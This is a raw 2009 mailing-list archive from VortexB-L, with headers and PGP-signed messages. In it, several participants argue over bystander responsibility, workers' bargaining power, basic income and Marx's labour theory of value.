Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4183 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 425 The worker is not negotiating from a position of equal bargaining power! harry ----- Original Message ----- From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E Date=3A Tuesday=2C May 26=2C 2009 0=3A21 am Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is VortexB-L=2E=2E=2E =3E Saving a drowning man is one thing=2E But given this context below=2C= = =3E it seems =3E to mean that if a worker goes to an employer for a job=2C the = =3E employer is =3E responsible to first hand over enough money to make sure the worker = =3E isn=27thungry before the salary negotiation commences=2E =3E = =3E = =3E = =3E =3E Does it matter why the person would be worse off for refusing=3F= =3E =3E Are you =3E =3E recognizing a difference between agency and circumstance=3B th= e =3E =3E differencebetween me putting a gun to your head and informing = =3E you =3E that I=27ll kill you =3E =3E if you turn down the deal=2C versus the deal simply being the = best =3E =3E of all your =3E =3E options=3F =3E =3E =3E =3E =3E =3E =3E =3E On Sat=2C May 23=2C 2009 at 10=3A23 PM=2C Harry Veeder =3Chvee= der=40ncf=2Eca=3E =3E wrote=3A =3E =3E =3E =3E =3E I would say=2C all things being equal=2C it boils down to = the = =3E right to =3E =3E =3E refuse the transaction and NOT BE WORSE OFF for having = =3E refused=2E =3E = =3E = =3E = =3E = =3E = =3E = =3E = =3E On Tue=2C May 26=2C 2009 at 12=3A03 AM=2C Harry Veeder =3Chveeder=40n= cf=2Eca=3E wrote=3A =3E = =3E =3E =3E =3E =3E =3E ----- Original Message ----- =3E =3E From=3A grok =3Cgrok=40resist=2Eca=3E =3E =3E Date=3A Saturday=2C May 23=2C 2009 11=3A57 pm =3E =3E Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is VortexB-L=2E=2E=2E =3E =3E =3E =3E =3E -----BEGIN PGP SIGNED MESSAGE----- =3E =3E =3E Hash=3A SHA1 =3E =3E =3E =3E =3E =3E =3E =3E =3E As the smoke cleared=2C Harry Veeder =3Chveeder=40ncf=2Eca=3E= =3E =3E =3E mounted the barricade and roared out=3A =3E =3E =3E =3E =3E =3E =3E The innocent bystander argument=3F =3E =3E =3E =3E =3E =3E =3E Run that past us=2C please=2E=2E=3F =3E =3E =3E =3E =3E =3E - -- grok=2E =3E =3E =3E =3E =3E =3E =3E He asked why he should be responsible for another person=27s plig= ht =3E =3E if he did not directly cause it=2E An innocent bystander is a per= son =3E =3E minding their own business who learns of suffering=2E =3E =3E =3E =3E The question seems to imply the default position that the bystand= er =3E =3E has NO responsibility to ameliorate the suffering=2E =3E =3E =3E =3E I would say instead the bystander by default always bears SOME =3E =3E responsibility=2E =3E =3E Even if he does not have the opportunity or the ability to =3E =3E directly provide help=2C it would be irresponsible of him to impe= de =3E =3E others from helping=2E =3E =3E =3E =3E Harry =3E =3E =3E =3E =3E =3E =3E = =3E = =3E -- = =3E Never did I see a second sun =3E Never did my skin touch a land of glass =3E Never did my rifle point but true =3E But in a land empty of enemies =3E Waiting for the tick-tick-tick of the want =3E A uranium angel =3E Crying =93behold=2C=94 =3E This land that knew fire is yours =3E Taken from Corruption =3E To begin anew =3E From vortexb-l-request@eskimo.com Tue May 26 09:34:34 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4QGYRPc004607; Tue, 26 May 2009 09:34:27 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4QGYJ6d004561; Tue, 26 May 2009 09:34:19 -0700 Resent-Date: Tue, 26 May 2009 09:34:19 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=K04oRhXAaB3BZPcC/HczA07yThjEw6kx05bbdIRnD78=; b=UFbL+mmhwuEArxSjpbz2VOWGlOg5oXu1fT9LQSZWGrx2I24x55Y/25SAUflgQx8oB+ gDLYirXIUB3KuZf30d56aGkSxm5vCDXU7slyfC9/kRe8TCT5oPTfCGnX6+1mTLMWlsAw 6jWBRx8k5GPvZkEOAouB1TbfQKMTYJaaUpsAE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=SmJac3BSsBv4KbjPN9DyF9xXlPqZFlqeNU2/2prxEhPOl/yVRG3OO2FJsTHqzFLJ8p su1gNRsDD04PWqbGmmqvNE68o79afiysVlb6BLcerC1F+Ay5IMWeubLGuP4QgRDxycxV 59YYMYRPVCNgbNrN+U67tHgWolDaFHmIlEafc= MIME-Version: 1.0 In-Reply-To: <24627f24385a.24385a24627f@ncf.ca> References: <24627f24385a.24385a24627f@ncf.ca> From: Charles HOPE Date: Tue, 26 May 2009 12:33:56 -0400 Message-ID: <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=00504502e5013d0145046ad34c9d Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4184 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 426 --00504502e5013d0145046ad34c9d Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Yes, that is one of your premises. Is my conclusion correct? On Tue, May 26, 2009 at 12:19 PM, Harry Veeder wrote: > > The worker is not negotiating from a position of equal bargaining power! > > harry > > ----- Original Message ----- > From: Charles HOPE > Date: Tuesday, May 26, 2009 0:21 am > Subject: Re: [VoB]:Re: This is VortexB-L... > > > Saving a drowning man is one thing. But given this context below, > > it seems > > to mean that if a worker goes to an employer for a job, the > > employer is > > responsible to first hand over enough money to make sure the worker > > isn'thungry before the salary negotiation commences. > > > > > > > > > Does it matter why the person would be worse off for refusing? > > > Are you > > > recognizing a difference between agency and circumstance; the > > > differencebetween me putting a gun to your head and informing > > you > that I'll kill you > > > if you turn down the deal, versus the deal simply being the best > > > of all your > > > options? > > > > > > > > > > > > On Sat, May 23, 2009 at 10:23 PM, Harry Veeder > > wrote: > > > > > > > I would say, all things being equal, it boils down to the > > right to > > > > refuse the transaction and NOT BE WORSE OFF for having > > refused. > > > > > > > > > > > > > > > > On Tue, May 26, 2009 at 12:03 AM, Harry Veeder wrote: > > > > > > > > > > > ----- Original Message ----- > > > From: grok > > > Date: Saturday, May 23, 2009 11:57 pm > > > Subject: Re: [VoB]:Re: This is VortexB-L... > > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > > Hash: SHA1 > > > > > > > > > > > > As the smoke cleared, Harry Veeder > > > > mounted the barricade and roared out: > > > > > > > > > The innocent bystander argument? > > > > > > > > > Run that past us, please..? > > > > > > > > - -- grok. > > > > > > > > > > He asked why he should be responsible for another person's plight > > > if he did not directly cause it. An innocent bystander is a person > > > minding their own business who learns of suffering. > > > > > > The question seems to imply the default position that the bystander > > > has NO responsibility to ameliorate the suffering. > > > > > > I would say instead the bystander by default always bears SOME > > > responsibility. > > > Even if he does not have the opportunity or the ability to > > > directly provide help, it would be irresponsible of him to impede > > > others from helping. > > > > > > Harry > > > > > > > > > > > > > > > -- > > Never did I see a second sun > > Never did my skin touch a land of glass > > Never did my rifle point but true > > But in a land empty of enemies > > Waiting for the tick-tick-tick of the want > > A uranium angel > > Crying =93behold,=94 > > This land that knew fire is yours > > Taken from Corruption > > To begin anew > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --00504502e5013d0145046ad34c9d Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Yes, that is one of your premises.=A0 Is my conclusion correct?


=
On Tue, May 26, 2009 at 12:19 PM, Harry Veed= er <hveeder@ncf.ca> wrote:

The worker is not negotiating from a position of equal bargaining power!
harry

----- Original Message -----
From: Charles HOPE <look= slikeiwasright@gmail.com>
Date: Tuesday, May 26, 2009 0:21 am
Subject: Re: [VoB]:Re: This is VortexB-L...

> Saving a drowning man is one thing. But given = this context below,
> it seems
> to mean that if a worker goes to an employer for a job, the
> employer is
> responsible to first hand over enough money to make sure the worker
> isn'thungry before the salary negotiation commences.
>
>
>
> =A0 =A0> Does it matter why the person would be worse off for refus= ing?
> =A0 =A0> Are you
> =A0 =A0> recognizing a difference between agency and circumstance; = the
> =A0 =A0> differencebetween me putting a gun to your head and inform= ing
> you =A0 =A0> that I'll kill you
> =A0 =A0> if you turn down the deal, versus the deal simply being th= e best
> =A0 =A0> of all your
> =A0 =A0> options?
> =A0 =A0>
> =A0 =A0>
> =A0 =A0>
> =A0 =A0> On Sat, May 23, 2009 at 10:23 PM, Harry Veeder <hveeder@ncf.ca>
> =A0 =A0wrote:
> =A0 =A0>
> =A0 =A0> > I would say, all things being equal, it boils down to= the
> right to
> =A0 =A0> > refuse the transaction and NOT BE WORSE OFF for havin= g
> refused.
>
>
>
>
>
>
>
> On Tue, May 26, 2009 at 12:03 AM, Harry Veeder <hveeder@ncf.ca> wrote:
>
> >
> >
> > ----- Original Message -----
> > From: grok <grok@resist.ca>
> > Date: Saturday, May 23, 2009 11:57 pm
> > Subject: Re: [VoB]:Re: This is VortexB-L...
> >
> > > -----BEGIN PGP SIGNED MESSAGE-----
> > > Hash: SHA1
> > >
> > >
> > > As the smoke cleared, Harry Veeder <hveeder@ncf.ca>
> > > mounted the barricade and roared out:
> > >
> > > > The innocent bystander argument?
> > > >
> > > Run that past us, please..?
> > >
> > > - -- grok.
> > >
> >
> > He asked why he should be responsible for another person's pl= ight
> > if he did not directly cause it. An innocent bystander is a perso= n
> > minding their own business who learns of suffering.
> >
> > The question seems to imply the default position that the bystand= er
> > has NO responsibility to ameliorate the suffering.
> >
> > I would say instead the bystander by default always bears SOME > > responsibility.
> > Even if he does not have the opportunity or the ability to
> > directly provide help, it would be irresponsible of him to impede=
> > others from helping.
> >
> > Harry
> >
> >
> >
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying =93behold,=94
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--00504502e5013d0145046ad34c9d-- From vortexb-l-request@eskimo.com Tue May 26 12:26:50 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4QJQmAg016584; Tue, 26 May 2009 12:26:48 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4QJQin3016519; Tue, 26 May 2009 12:26:44 -0700 Resent-Date: Tue, 26 May 2009 12:26:44 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 26 May 2009 12:26:26 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090526192626.GD9890@shell.resist.ca> Reply-To: grok@resist.ca References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: MiG-23U, AMRAAN, embassy, communications security, Turkestan Islamic Party User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4185 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 427 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > The worker is not negotiating from a position of equal bargaining power! The Labor Theory of Value explains in full how all workers under a capitalist production mode are in fact cheated out of the full product of their labor, by dint of the fact that the value of the "commodity" they sell/rent to the capitalists -- their labor-power -- is priced *less* on the labor market than the eventual price of the value they produce _with_ that same labor-power. The point for the capitalists is that they pocket the difference; and then lie about it all -- or get others to lie for them. All very entrepreneurial. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkocQmIACgkQXo3EtEYbt3H83wCePzm5aAvjDfo1r1U6JlH5eO2V TykAn0IUkk8Xa3sY9hSKt66mWYJB8oUF =zXMP -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue May 26 12:40:59 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4QJevWB021418; Tue, 26 May 2009 12:40:57 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4QJenSO021367; Tue, 26 May 2009 12:40:49 -0700 Resent-Date: Tue, 26 May 2009 12:40:49 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=thGB5STz1E/IFfyHVCsQ63H8E/CoirnUk/cENbXF7Sg=; b=msQ/S+pqNHxXVF98uOqrzFqvPmIVbvC2BdhBe3itZvD2hhcQTdCiGOC7ijtqk/pwKR WbzTIK1AGTMmHHobWQi3YYfJVK/SAsd15iyK5c2HEMgY4bymXMopRMHR/0bxv4l3cTNa cbmBwRZQCdUbcUUxoE74yZuT86yZMbSavDD4A= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=QbNQcZH8Gn19yLB3EPE4HCbdrkTVqZxIaxEjzeLm7nI4RYNLEuuObDiuR1V1xgrGib hLCqK82u9gIPifx7EKCZxtDGEicBBfu1tSFmXkmp1TfX/ia8LsinEAgjpmgcjA8ai7TB MK2X9hvhVG6SCSAsXT4vjuaQgodQyxcPZJC3A= MIME-Version: 1.0 In-Reply-To: <20090526192626.GD9890@shell.resist.ca> References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> From: Charles HOPE Date: Tue, 26 May 2009 15:40:26 -0400 Message-ID: <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a84e4a866e046ad5e725 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4186 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 428 --001636c5a84e4a866e046ad5e725 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable In fact the LTV explains nothing of the sort, because the exchange value of an hour of labor is one hour. On Tue, May 26, 2009 at 3:26 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > > The worker is not negotiating from a position of equal bargaining power= ! > > The Labor Theory of Value explains in full how all workers under a > capitalist > production mode are in fact cheated out of the full product of their labo= r, > by dint > of the fact that the value of the "commodity" they sell/rent to the > capitalists -- > their labor-power -- is priced *less* on the labor market than the eventu= al > price of > the value they produce _with_ that same labor-power. The point for the > capitalists is > that they pocket the difference; and then lie about it all -- or get othe= rs > to lie > for them. All very entrepreneurial. > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkocQmIACgkQXo3EtEYbt3H83wCePzm5aAvjDfo1r1U6JlH5eO2V > TykAn0IUkk8Xa3sY9hSKt66mWYJB8oUF > =3DzXMP > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a84e4a866e046ad5e725 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable In fact the LTV explains nothing of the sort, because the exchange value of= an hour of labor is one hour.



On= Tue, May 26, 2009 at 3:26 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


> The worker is not negotiating from a position = of equal bargaining power!

The Labor Theory of Value explains in full how all workers under a ca= pitalist
production mode are in fact cheated out of the full product of their labor,= by dint
of the fact that the value of the "commodity" they sell/rent to t= he capitalists --
their labor-power -- is priced *less* on the labor market than the eventual= price of
the value they produce _with_ that same labor-power. The point for the capi= talists is
that they pocket the difference; and then lie about it all -- or get others= to lie
for them. All very entrepreneurial.


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkocQmIACgkQXo3EtEYbt3H83wCePzm5aAvjDfo1r1U6JlH5eO2V
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=3DzXMP
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a84e4a866e046ad5e725-- From vortexb-l-request@eskimo.com Tue May 26 12:41:45 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4QJff9i021862; Tue, 26 May 2009 12:41:41 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4QJfe9q021845; Tue, 26 May 2009 12:41:40 -0700 Resent-Date: Tue, 26 May 2009 12:41:40 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 26 May 2009 12:41:32 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090526194132.GF9890@shell.resist.ca> Reply-To: grok@resist.ca References: <249c2a241f75.241f75249c2a@ncf.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <249c2a241f75.241f75249c2a@ncf.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: MiG-23U, AMRAAN, embassy, communications security, Turkestan Islamic Party User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <7873W.A.PVF.0XEHKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4187 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 429 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > The minimum wage is set by the state. Only the supplement to the minimum wage > is up for negotiation between the worker and the business owner. Business > owners as a rule would rather not pay the non-negotiable portion of wages. No shit... How many fascistic "Right-to-Work" states are there in the U.S., FWIW for that matter..? > Instead of the state forcing businesses to pay the minimum wage, it makes more > sense for the state to pay everyone a minimum wage (called a basic income) > regardless of whether they are unemployed or employed or self-employed. > > Harry The whole point of Rightwing politix -- not to mention the thuggery and gangsterism of state and private forces -- is to forestall even talk of such semi-/pseudo- socialist attempts at reforming the capitalist system. They even scream bloody murder at the mere mention of any meek social-democracy-style universal public Medicare... And now they think the time has come to dismantle it all: all the workers' gains of the past 150 years. And Obama is their latest frontman. Perfect. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkocRewACgkQXo3EtEYbt3F4sgCfUDXVsxaJHH6o9iE6tLf5jA7A 7zIAoJ7X3y7HN304eSfbOzgg6hrstS16 =Oa5c -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue May 26 13:30:43 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4QKUets003172; Tue, 26 May 2009 13:30:40 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4QKUdJb003160; Tue, 26 May 2009 13:30:39 -0700 Resent-Date: Tue, 26 May 2009 13:30:39 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 26 May 2009 13:30:23 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090526203023.GA2707@shell.resist.ca> Reply-To: grok@resist.ca References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: RADARSAT-1, GII, M-2 machine guns , AGS, Pantsir-C1 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4188 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 430 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > In fact the LTV explains nothing of the sort, because the exchange value of > an hour of labor is one hour. Well, you would just about DEAD WRONG there fella, wouldn't you..? At least in your implied argument -- as this statement above is "true" enuff on the surface -- and yet highly misleading. For one thing: you certainly don't yet make the distinction between labor and labor-*power*. Which is kinda like confusing a train with a train trip. Or having a cake vs. the eating of it... One of the points which Karl Marx famously flushes out of the typical cretinism that passes for bourgeois ekonomik theory is this: how is profit to be made from exchanging commodities at their value..? And the point very much is: IT CANNOT BE DONE. Which is where the **difference in value** of the commodity _labor-power_, vs. the value of its product -- _labor_, per se -- exactly comes in. A bit of smoke and mirrors at work here, in fact. Capitalists DO love their razzle-dazzle... Like any carnival sideshow barker. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkocUV8ACgkQXo3EtEYbt3FKdQCfcb8U4K9Pp5WA9vQyHA0e8Yau CpoAnjoeNgIypJu3xTVd9PK1nhWg1QRY =65y0 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue May 26 13:41:19 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4QKfEFm025362; Tue, 26 May 2009 13:41:14 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4QKf9kK025271; Tue, 26 May 2009 13:41:09 -0700 Resent-Date: Tue, 26 May 2009 13:41:09 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=kT6wnpkSgkwL1L0jGuUewGfTN/4iK009utNu3R9xtUo=; b=K3sRMglrsiOeQF383ZNxWq1CS10xvqO6MAJZt8B2nI+o1xWSZNpy7kELIlqe8kTv2e Ahc0EBc71GLVvv8PrMTjv3ODEEfixFYw/FR7GAhQuz9RLOup6R/dyFBW9tSEj1sm4fy3 FNt+kpBNqNglmHT2spOo9UR5oPH6Nxf9Kygqg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=T5kzojrfTtqA8klTtCiCY80XWTdtBHu19AgX6udP2vroEPUXHTUtQzLtPQrVJUvye1 PyWx3tQfCdb7DVfMgh+r5FosdNe9n4AE10pZp4/rWZiXV2ii9JcWoGhJIFip7/Qf30eC a37/zwbTxH0UlUqpQAqlB3JYDxI5QirqsCxw4= MIME-Version: 1.0 In-Reply-To: <20090526203023.GA2707@shell.resist.ca> References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> From: Charles HOPE Date: Tue, 26 May 2009 16:40:47 -0400 Message-ID: <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=00504502e50108b90e046ad6bfd4 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4189 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 431 --00504502e50108b90e046ad6bfd4 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable But a commodity doesn't have a value absent a valuer. On Tue, May 26, 2009 at 4:30 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > In fact the LTV explains nothing of the sort, because the exchange valu= e > of > > an hour of labor is one hour. > > Well, you would just about DEAD WRONG there fella, wouldn't you..? At lea= st > in your > implied argument -- as this statement above is "true" enuff on the surfac= e > -- and yet > highly misleading. For one thing: you certainly don't yet make the > distinction > between labor and labor-*power*. Which is kinda like confusing a train wi= th > a train > trip. Or having a cake vs. the eating of it... > > One of the points which Karl Marx famously flushes out of the typical > cretinism that > passes for bourgeois ekonomik theory is this: how is profit to be made fr= om > exchanging commodities at their value..? And the point very much is: IT > CANNOT BE > DONE. Which is where the **difference in value** of the commodity > _labor-power_, vs. > the value of its product -- _labor_, per se -- exactly comes in. > > A bit of smoke and mirrors at work here, in fact. > Capitalists DO love their razzle-dazzle... Like any carnival sideshow > barker. > > > - --grok. > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkocUV8ACgkQXo3EtEYbt3FKdQCfcb8U4K9Pp5WA9vQyHA0e8Yau > CpoAnjoeNgIypJu3xTVd9PK1nhWg1QRY > =3D65y0 > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --00504502e50108b90e046ad6bfd4 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable But a commodity doesn't have a value absent a valuer.


